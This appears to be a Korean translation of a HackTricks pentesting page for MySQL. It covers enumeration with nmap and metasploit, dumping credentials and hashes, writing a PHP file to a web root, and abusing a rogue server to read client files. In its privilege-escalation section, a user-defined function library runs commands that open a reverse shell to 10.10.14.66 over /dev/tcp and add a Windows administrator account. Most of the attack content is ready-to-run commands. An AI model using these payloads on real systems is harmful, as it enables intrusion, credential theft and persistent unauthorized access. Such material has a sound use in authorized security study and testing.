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[**RootedCON**](https://www.rootedcon.com/)은 **슀페인**μ—μ„œ κ°€μž₯ 관련성이 높은 사이버 λ³΄μ•ˆ 이벀트이며 **유럽**μ—μ„œ κ°€μž₯ μ€‘μš”ν•œ 행사 쀑 ν•˜λ‚˜μž…λ‹ˆλ‹€. **기술 지식을 μ΄‰μ§„ν•˜λŠ” μž„λ¬΄**λ₯Ό 가지고 μžˆλŠ” 이 νšŒμ˜λŠ” λͺ¨λ“  λΆ„μ•Όμ˜ 기술 및 사이버 λ³΄μ•ˆ 전문가듀이 λͺ¨μ΄λŠ” 뜨거운 λ§Œλ‚¨μ˜ μž₯μ†Œμž…λ‹ˆλ‹€. {% embed url="https://www.rootedcon.com/" %} ## **κΈ°λ³Έ 정보** **MySQL**은 λΉ„μš©μ΄ 듀지 μ•ŠλŠ” μ˜€ν”ˆ μ†ŒμŠ€ **κ΄€κ³„ν˜• λ°μ΄ν„°λ² μ΄μŠ€ 관리 μ‹œμŠ€ν…œ (RDBMS)**둜 μ„€λͺ…될 수 μžˆμŠ΅λ‹ˆλ‹€. **ꡬ쑰적 쿼리 μ–Έμ–΄ (SQL)**μ—μ„œ μž‘λ™ν•˜μ—¬ λ°μ΄ν„°λ² μ΄μŠ€μ˜ 관리 및 μ‘°μž‘μ„ κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€. **κΈ°λ³Έ 포트:** 3306 ``` 3306/tcp open mysql ``` ## **μ—°κ²°** ### **둜컬** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` ### 원격 ```bash mysql -h -u root mysql -h -u root@localhost ``` ## External Enumeration 일뢀 μ—΄κ±° μž‘μ—…μ€ μœ νš¨ν•œ 자격 증λͺ…이 ν•„μš”ν•©λ‹ˆλ‹€. ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**브루트 포슀**](../generic-methodologies-and-resources/brute-force.md#mysql) ### 이진 데이터 μ“°κΈ° ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` ## **MySQL λͺ…λ Ήμ–΄** ```bash show databases; use ; connect ; show tables; describe ; show columns from ; select version(); #version select @@version(); #version select user(); #User select database(); #database name #Get a shell with the mysql client user \! sh #Basic MySQLi Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables Union Select 1,2,3,4,column_name from information_schema.columns where table_name="
" #Read & Write ## Yo need FILE privilege to read & write to files. select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ### MySQL κΆŒν•œ μ—΄κ±° ```sql #Mysql SHOW GRANTS [FOR user]; SHOW GRANTS; SHOW GRANTS FOR 'root'@'localhost'; SHOW GRANTS FOR CURRENT_USER(); # Get users, permissions & hashes SELECT * FROM mysql.user; #From DB select * from mysql.user where user='root'; ## Get users with file_priv select user,file_priv from mysql.user where file_priv='Y'; ## Get users with Super_priv select user,Super_priv from mysql.user where Super_priv='Y'; # List functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute) ### MySQL 파일 RCE {% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} [mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) {% endcontent-ref %} ## MySQL ν΄λΌμ΄μ–ΈνŠΈλ₯Ό ν†΅ν•œ μž„μ˜ 파일 읽기 μ‹€μ œλ‘œ, **load data local into a table** λͺ…령을 μ‚¬μš©ν•˜μ—¬ **파일의 λ‚΄μš©μ„** MySQL λ˜λŠ” MariaDB μ„œλ²„κ°€ **ν΄λΌμ΄μ–ΈνŠΈμ—κ²Œ 읽도둝 μš”μ²­**ν•˜κ³  λ‚΄μš©μ„ μ „μ†‘ν•©λ‹ˆλ‹€. **λ”°λΌμ„œ, μžμ‹ μ˜ MySQL μ„œλ²„μ— μ—°κ²°ν•˜λ„λ‘ mysql ν΄λΌμ΄μ–ΈνŠΈλ₯Ό μ‘°μž‘ν•  수 μžˆλ‹€λ©΄, μž„μ˜μ˜ νŒŒμΌμ„ 읽을 수 μžˆμŠ΅λ‹ˆλ‹€.**\ 이것은 λ‹€μŒμ„ μ‚¬μš©ν•  λ•Œμ˜ λ™μž‘μž…λ‹ˆλ‹€: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (β€œlocal” 단어에 μ£Όλͺ©ν•˜μ„Έμš”)\ β€œlocal” 없이 λ‹€μŒκ³Ό 같은 κ²°κ³Όλ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **초기 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **이 λ¬Έμ„œμ—μ„œλŠ” 곡격에 λŒ€ν•œ μ™„μ „ν•œ μ„€λͺ…κ³Ό RCE둜 ν™•μž₯ν•˜λŠ” 방법을 λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **μ—¬κΈ°μ—μ„œ 곡격 κ°œμš”λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​
​​[**RootedCON**](https://www.rootedcon.com/)은 **슀페인**μ—μ„œ κ°€μž₯ 관련성이 높은 사이버 λ³΄μ•ˆ 이벀트이며 **유럽**μ—μ„œ κ°€μž₯ μ€‘μš”ν•œ 행사 쀑 ν•˜λ‚˜μž…λ‹ˆλ‹€. **기술 지식을 μ΄‰μ§„ν•˜λŠ” μž„λ¬΄**λ₯Ό 가지고, 이 μ»¨κ·Έλ ˆμŠ€λŠ” λͺ¨λ“  λΆ„μ•Όμ˜ 기술 및 사이버 λ³΄μ•ˆ 전문가듀이 λͺ¨μ΄λŠ” 뜨거운 λ§Œλ‚¨μ˜ μž₯μ†Œμž…λ‹ˆλ‹€. {% embed url="https://www.rootedcon.com/" %} ## POST ### Mysql μ‚¬μš©μž mysql이 **root**둜 μ‹€ν–‰λ˜κ³  μžˆλ‹€λ©΄ 맀우 ν₯미둜울 κ²ƒμž…λ‹ˆλ‹€: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### mysqld.cnf의 μœ„ν—˜ν•œ μ„€μ • MySQL μ„œλΉ„μŠ€μ˜ κ΅¬μ„±μ—μ„œ λ‹€μ–‘ν•œ 섀정이 μ‚¬μš©λ˜μ–΄ 운영 및 λ³΄μ•ˆ 쑰치λ₯Ό μ •μ˜ν•©λ‹ˆλ‹€: * **`user`** 섀정은 MySQL μ„œλΉ„μŠ€κ°€ 싀행될 μ‚¬μš©μž 지정에 μ‚¬μš©λ©λ‹ˆλ‹€. * **`password`**λŠ” MySQL μ‚¬μš©μžμ™€ κ΄€λ ¨λœ λΉ„λ°€λ²ˆν˜Έλ₯Ό μ„€μ •ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. * **`admin_address`**λŠ” 관리 λ„€νŠΈμ›Œν¬ μΈν„°νŽ˜μ΄μŠ€μ—μ„œ TCP/IP 연결을 μˆ˜μ‹ ν•˜λŠ” IP μ£Όμ†Œλ₯Ό μ§€μ •ν•©λ‹ˆλ‹€. * **`debug`** λ³€μˆ˜λŠ” 둜그 λ‚΄μ˜ λ―Όκ°ν•œ 정보λ₯Ό ν¬ν•¨ν•˜μ—¬ ν˜„μž¬ 디버깅 ꡬ성을 λ‚˜νƒ€λƒ…λ‹ˆλ‹€. * **`sql_warnings`**λŠ” κ²½κ³ κ°€ λ°œμƒν•  λ•Œ 단일 ν–‰ INSERT 문에 λŒ€ν•œ 정보 λ¬Έμžμ—΄μ΄ μƒμ„±λ˜λŠ”μ§€ κ΄€λ¦¬ν•˜λ©°, 둜그 내에 λ―Όκ°ν•œ 데이터λ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€. * **`secure_file_priv`**λŠ” λ³΄μ•ˆμ„ κ°•ν™”ν•˜κΈ° μœ„ν•΄ 데이터 κ°€μ Έμ˜€κΈ° 및 내보내기 μž‘μ—…μ˜ λ²”μœ„λ₯Ό μ œν•œν•©λ‹ˆλ‹€. ### κΆŒν•œ μƒμŠΉ ```bash # Get current user (an all users) privileges and hashes use mysql; select user(); select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; # Get users, permissions & creds SELECT * FROM mysql.user; mysql -u root --password= -e "SELECT * FROM mysql.user;" # Create user and give privileges create user test identified by 'test'; grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION; # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` ### Privilege Escalation via library λ§Œμ•½ **mysql μ„œλ²„κ°€ root** (λ˜λŠ” 더 높은 κΆŒν•œμ„ 가진 λ‹€λ₯Έ μ‚¬μš©μž)둜 μ‹€ν–‰λ˜κ³  μžˆλ‹€λ©΄, λͺ…령을 μ‹€ν–‰ν•˜λ„λ‘ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό μœ„ν•΄μ„œλŠ” **μ‚¬μš©μž μ •μ˜ ν•¨μˆ˜**λ₯Ό μ‚¬μš©ν•΄μ•Ό ν•©λ‹ˆλ‹€. 그리고 μ‚¬μš©μž μ •μ˜ ν•¨μˆ˜λ₯Ό λ§Œλ“€κΈ° μœ„ν•΄μ„œλŠ” mysql이 μ‹€ν–‰λ˜κ³  μžˆλŠ” OS에 λŒ€ν•œ **라이브러리**κ°€ ν•„μš”ν•©λ‹ˆλ‹€. μ‚¬μš©ν•  μ•…μ„± λΌμ΄λΈŒλŸ¬λ¦¬λŠ” sqlmapκ³Ό metasploit μ•ˆμ—μ„œ **`locate "*lib_mysqludf_sys*"`** λͺ…λ Ήμ–΄λ₯Ό 톡해 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. **`.so`** νŒŒμΌμ€ **linux** 라이브러리이고, **`.dll`** νŒŒμΌμ€ **Windows** λΌμ΄λΈŒλŸ¬λ¦¬μž…λ‹ˆλ‹€. ν•„μš”ν•œ 것을 μ„ νƒν•˜μ„Έμš”. λ§Œμ•½ **κ·Έ λΌμ΄λΈŒλŸ¬λ¦¬λ“€μ΄ μ—†λ‹€λ©΄**, **μ°Ύμ•„λ³΄κ±°λ‚˜**, 이 [**linux C μ½”λ“œ**](https://www.exploit-db.com/exploits/1518)λ₯Ό λ‹€μš΄λ‘œλ“œν•˜μ—¬ **linux μ·¨μ•½ν•œ λ¨Έμ‹  μ•ˆμ—μ„œ 컴파일**ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` 이제 λΌμ΄λΈŒλŸ¬λ¦¬κ°€ μžˆμœΌλ‹ˆ, 특ꢌ μ‚¬μš©μž(루트?)둜 Mysql에 λ‘œκ·ΈμΈν•˜κ³  λ‹€μŒ 단계λ₯Ό λ”°λ₯΄μ„Έμš”: #### Linux ```sql # Use a database use mysql; # Create a table to load the library and move it to the plugins dir create table npn(line blob); # Load the binary library inside the table ## You might need to change the path and file name insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); # Get the plugin_dir path show variables like '%plugin%'; # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ # dump in there the library select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; # Create a function to execute commands create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; # Execute commands select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); ``` #### μœˆλ„μš° ```sql # CHech the linux comments for more indications USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); show variables like '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### MySQL 자격 증λͺ… νŒŒμΌμ—μ„œ μΆ”μΆœν•˜κΈ° _/etc/mysql/debian.cnf_ λ‚΄λΆ€μ—μ„œ **debian-sys-maint** μ‚¬μš©μžμ— λŒ€ν•œ **일반 ν…μŠ€νŠΈ λΉ„λ°€λ²ˆν˜Έ**λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. ```bash cat /etc/mysql/debian.cnf ``` 당신은 **이 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ mysql λ°μ΄ν„°λ² μ΄μŠ€μ— λ‘œκ·ΈμΈν•  수 μžˆμŠ΅λ‹ˆλ‹€**. 파일 _/var/lib/mysql/mysql/user.MYD_ μ•ˆμ—λŠ” **MySQL μ‚¬μš©μžλ“€μ˜ λͺ¨λ“  ν•΄μ‹œ**(λ°μ΄ν„°λ² μ΄μŠ€ λ‚΄ mysql.userμ—μ„œ μΆ”μΆœν•  수 μžˆλŠ” 것듀)κ°€ μžˆμŠ΅λ‹ˆλ‹€_._ λ‹€μŒκ³Ό 같이 μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### λ‘œκΉ… ν™œμ„±ν™” λ‹€μŒ μ€„μ˜ 주석을 μ œκ±°ν•˜μ—¬ `/etc/mysql/my.cnf` λ‚΄μ—μ„œ mysql 쿼리 λ‘œκΉ…μ„ ν™œμ„±ν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ![](<../.gitbook/assets/image (899).png>) ### μœ μš©ν•œ 파일 ꡬ성 파일 * windows \* * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf * λͺ…λ Ή 기둝 * \~/.mysql.history * 둜그 파일 * connections.log * update.log * common.log ## κΈ°λ³Έ MySQL λ°μ΄ν„°λ² μ΄μŠ€/ν…Œμ΄λΈ” {% tabs %} {% tab title="information_schema" %} ALL\_PLUGINS\ APPLICABLE\_ROLES\ CHARACTER\_SETS\ CHECK\_CONSTRAINTS\ COLLATIONS\ COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ COLUMN\_PRIVILEGES\ ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ GLOBAL\_STATUS\ GLOBAL\_VARIABLES\ KEY\_COLUMN\_USAGE\ KEY\_CACHES\ OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ SCHEMA\_PRIVILEGES\ SESSION\_STATUS\ SESSION\_VARIABLES\ STATISTICS\ SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ TABLE\_CONSTRAINTS\ TABLE\_PRIVILEGES\ TRIGGERS\ USER\_PRIVILEGES\ VIEWS\ INNODB\_LOCKS\ INNODB\_TRX\ INNODB\_SYS\_DATAFILES\ INNODB\_FT\_CONFIG\ INNODB\_SYS\_VIRTUAL\ INNODB\_CMP\ INNODB\_FT\_BEING\_DELETED\ INNODB\_CMP\_RESET\ INNODB\_CMP\_PER\_INDEX\ INNODB\_CMPMEM\_RESET\ INNODB\_FT\_DELETED\ INNODB\_BUFFER\_PAGE\_LRU\ INNODB\_LOCK\_WAITS\ INNODB\_TEMP\_TABLE\_INFO\ INNODB\_SYS\_INDEXES\ INNODB\_SYS\_TABLES\ INNODB\_SYS\_FIELDS\ INNODB\_CMP\_PER\_INDEX\_RESET\ INNODB\_BUFFER\_PAGE\ INNODB\_FT\_DEFAULT\_STOPWORD\ INNODB\_FT\_INDEX\_TABLE\ INNODB\_FT\_INDEX\_CACHE\ INNODB\_SYS\_TABLESPACES\ INNODB\_METRICS\ INNODB\_SYS\_FOREIGN\_COLS\ INNODB\_CMPMEM\ INNODB\_BUFFER\_POOL\_STATS\ INNODB\_SYS\_COLUMNS\ INNODB\_SYS\_FOREIGN\ INNODB\_SYS\_TABLESTATS\ GEOMETRY\_COLUMNS\ SPATIAL\_REF\_SYS\ CLIENT\_STATISTICS\ INDEX\_STATISTICS\ USER\_STATISTICS\ INNODB\_MUTEXES\ TABLE\_STATISTICS\ INNODB\_TABLESPACES\_ENCRYPTION\ user\_variables\ INNODB\_TABLESPACES\_SCRUBBING\ INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} columns\_priv\ column\_stats\ db\ engine\_cost\ event\ func\ general\_log\ gtid\_executed\ gtid\_slave\_pos\ help\_category\ help\_keyword\ help\_relation\ help\_topic\ host\ index\_stats\ innodb\_index\_stats\ innodb\_table\_stats\ ndb\_binlog\_index\ plugin\ proc\ procs\_priv\ proxies\_priv\ roles\_mapping\ server\_cost\ servers\ slave\_master\_info\ slave\_relay\_log\_info\ slave\_worker\_info\ slow\_log\ tables\_priv\ table\_stats\ time\_zone\ time\_zone\_leap\_second\ time\_zone\_name\ time\_zone\_transition\ time\_zone\_transition\_type\ transaction\_registry\ user {% endtab %} {% tab title="performance_schema" %} accounts\ cond\_instances\ events\_stages\_current\ events\_stages\_history\ events\_stages\_history\_long\ events\_stages\_summary\_by\_account\_by\_event\_name\ events\_stages\_summary\_by\_host\_by\_event\_name\ events\_stages\_summary\_by\_thread\_by\_event\_name\ events\_stages\_summary\_by\_user\_by\_event\_name\ events\_stages\_summary\_global\_by\_event\_name\ events\_statements\_current\ events\_statements\_history\ events\_statements\_history\_long\ events\_statements\_summary\_by\_account\_by\_event\_name\ events\_statements\_summary\_by\_digest\ events\_statements\_summary\_by\_host\_by\_event\_name\ events\_statements\_summary\_by\_program\ events\_statements\_summary\_by\_thread\_by\_event\_name\ events\_statements\_summary\_by\_user\_by\_event\_name\ events\_statements\_summary\_global\_by\_event\_name\ events\_transactions\_current\ events\_transactions\_history\ events\_transactions\_history\_long\ events\_transactions\_summary\_by\_account\_by\_event\_name\ events\_transactions\_summary\_by\_host\_by\_event\_name\ events\_transactions\_summary\_by\_thread\_by\_event\_name\ events\_transactions\_summary\_by\_user\_by\_event\_name\ events\_transactions\_summary\_global\_by\_event\_name\ events\_waits\_current\ events\_waits\_history\ events\_waits\_history\_long\ events\_waits\_summary\_by\_account\_by\_event\_name\ events\_waits\_summary\_by\_host\_by\_event\_name\ events\_waits\_summary\_by\_instance\ events\_waits\_summary\_by\_thread\_by\_event\_name\ events\_waits\_summary\_by\_user\_by\_event\_name\ events\_waits\_summary\_global\_by\_event\_name\ file\_instances\ file\_summary\_by\_event\_name\ file\_summary\_by\_instance\ global\_status\ global\_variables\ host\_cache\ hosts\ memory\_summary\_by\_account\_by\_event\_name\ memory\_summary\_by\_host\_by\_event\_name\ memory\_summary\_by\_thread\_by\_event\_name\ memory\_summary\_by\_user\_by\_event\_name\ memory\_summary\_global\_by\_event\_name\ metadata\_locks\ mutex\_instances\ objects\_summary\_global\_by\_type\ performance\_timers\ prepared\_statements\_instances\ replication\_applier\_configuration\ replication\_applier\_status\ replication\_applier\_status\_by\_coordinator\ replication\_applier\_status\_by\_worker\ replication\_connection\_configuration\ replication\_connection\_status\ replication\_group\_member\_stats\ replication\_group\_members\ rwlock\_instances\ session\_account\_connect\_attrs\ session\_connect\_attrs\ session\_status\ session\_variables\ setup\_actors\ setup\_consumers\ setup\_instruments\ setup\_objects\ setup\_timers\ socket\_instances\ socket\_summary\_by\_event\_name\ socket\_summary\_by\_instance\ status\_by\_account\ status\_by\_host\ status\_by\_thread\ status\_by\_user\ table\_handles\ table\_io\_waits\_summary\_by\_index\_usage\ table\_io\_waits\_summary\_by\_table\ table\_lock\_waits\_summary\_by\_table\ threads\ user\_variables\_by\_thread\ users\ variables\_by\_thread {% endtab %} {% tab title="sys" %} host\_summary\ host\_summary\_by\_file\_io\ host\_summary\_by\_file\_io\_type\ host\_summary\_by\_stages\ host\_summary\_by\_statement\_latency\ host\_summary\_by\_statement\_type\ innodb\_buffer\_stats\_by\_schema\ innodb\_buffer\_stats\_by\_table\ innodb\_lock\_waits\ io\_by\_thread\_by\_latency\ io\_global\_by\_file\_by\_bytes\ io\_global\_by\_file\_by\_latency\ io\_global\_by\_wait\_by\_bytes\ io\_global\_by\_wait\_by\_latency\ latest\_file\_io\ memory\_by\_host\_by\_current\_bytes\ memory\_by\_thread\_by\_current\_bytes\ memory\_by\_user\_by\_current\_bytes\ memory\_global\_by\_current\_bytes\ memory\_global\_total\ metrics\ processlist\ ps\_check\_lost\_instrumentation\ schema\_auto\_increment\_columns\ schema\_index\_statistics\ schema\_object\_overview\ schema\_redundant\_indexes\ schema\_table\_lock\_waits\ schema\_table\_statistics\ schema\_table\_statistics\_with\_buffer\ schema\_tables\_with\_full\_table\_scans\ schema\_unused\_indexes\ session\ session\_ssl\_status\ statement\_analysis\ statements\_with\_errors\_or\_warnings\ statements\_with\_full\_table\_scans\ statements\_with\_runtimes\_in\_95th\_percentile\ statements\_with\_sorting\ statements\_with\_temp\_tables\ sys\_config\ user\_summary\ user\_summary\_by\_file\_io\ user\_summary\_by\_file\_io\_type\ user\_summary\_by\_stages\ user\_summary\_by\_statement\_latency\ user\_summary\_by\_statement\_type\ version\ wait\_classes\_global\_by\_avg\_latency\ wait\_classes\_global\_by\_latency\ waits\_by\_host\_by\_latency\ waits\_by\_user\_by\_latency\ waits\_global\_by\_latency\ x$host\_summary\ x$host\_summary\_by\_file\_io\ x$host\_summary\_by\_file\_io\_type\ x$host\_summary\_by\_stages\ x$host\_summary\_by\_statement\_latency\ x$host\_summary\_by\_statement\_type\ x$innodb\_buffer\_stats\_by\_schema\ x$innodb\_buffer\_stats\_by\_table\ x$innodb\_lock\_waits\ x$io\_by\_thread\_by\_latency\ x$io\_global\_by\_file\_by\_bytes\ x$io\_global\_by\_file\_by\_latency\ x$io\_global\_by\_wait\_by\_bytes\ x$io\_global\_by\_wait\_by\_latency\ x$latest\_file\_io\ x$memory\_by\_host\_by\_current\_bytes\ x$memory\_by\_thread\_by\_current\_bytes\ x$memory\_by\_user\_by\_current\_bytes\ x$memory\_global\_by\_current\_bytes\ x$memory\_global\_total\ x$processlist\ x$ps\_digest\_95th\_percentile\_by\_avg\_us\ x$ps\_digest\_avg\_latency\_distribution\ x$ps\_schema\_table\_statistics\_io\ x$schema\_flattened\_keys\ x$schema\_index\_statistics\ x$schema\_table\_lock\_waits\ x$schema\_table\_statistics\ x$schema\_table\_statistics\_with\_buffer\ x$schema\_tables\_with\_full\_table\_scans\ x$session\ x$statement\_analysis\ x$statements\_with\_errors\_or\_warnings\ x$statements\_with\_full\_table\_scans\ x$statements\_with\_runtimes\_in\_95th\_percentile\ x$statements\_with\_sorting\ x$statements\_with\_temp\_tables\ x$user\_summary\ x$user\_summary\_by\_file\_io\ x$user\_summary\_by\_file\_io\_type\ x$user\_summary\_by\_stages\ x$user\_summary\_by\_statement\_latency\ x$user\_summary\_by\_statement\_type\ x$wait\_classes\_global\_by\_avg\_latency\ x$wait\_classes\_global\_by\_latency\ x$waits\_by\_host\_by\_latency\ x$waits\_by\_user\_by\_latency\ x$waits\_global\_by\_latency {% endtab %} {% endtabs %} ## HackTricks μžλ™ λͺ…λ Ή ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). https://book.hacktricks.xyz/pentesting/pentesting-mysql Entry_2: Name: Nmap Description: Nmap with MySql Scripts Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 Entry_3: Name: MySql Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost Entry_4: Name: MySql consolesless mfs enumeration Description: MySql enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ```
[**RootedCON**](https://www.rootedcon.com/)은 **슀페인**μ—μ„œ κ°€μž₯ 관련성이 높은 사이버 λ³΄μ•ˆ 이벀트이며 **유럽**μ—μ„œ κ°€μž₯ μ€‘μš”ν•œ 행사 쀑 ν•˜λ‚˜μž…λ‹ˆλ‹€. **기술 지식을 μ΄‰μ§„ν•˜λŠ” μž„λ¬΄**λ₯Ό 가지고, 이 μ»¨κ·Έλ ˆμŠ€λŠ” λͺ¨λ“  λΆ„μ•Όμ˜ 기술 및 사이버 λ³΄μ•ˆ 전문가듀이 λͺ¨μ΄λŠ” 뜨거운 λ§Œλ‚¨μ˜ μž₯μ†Œμž…λ‹ˆλ‹€. {% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**λ””μŠ€μ½”λ“œ κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **νŠΈμœ„ν„°**μ—μ„œ **νŒ”λ‘œμš°**ν•˜μ„Έμš”** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}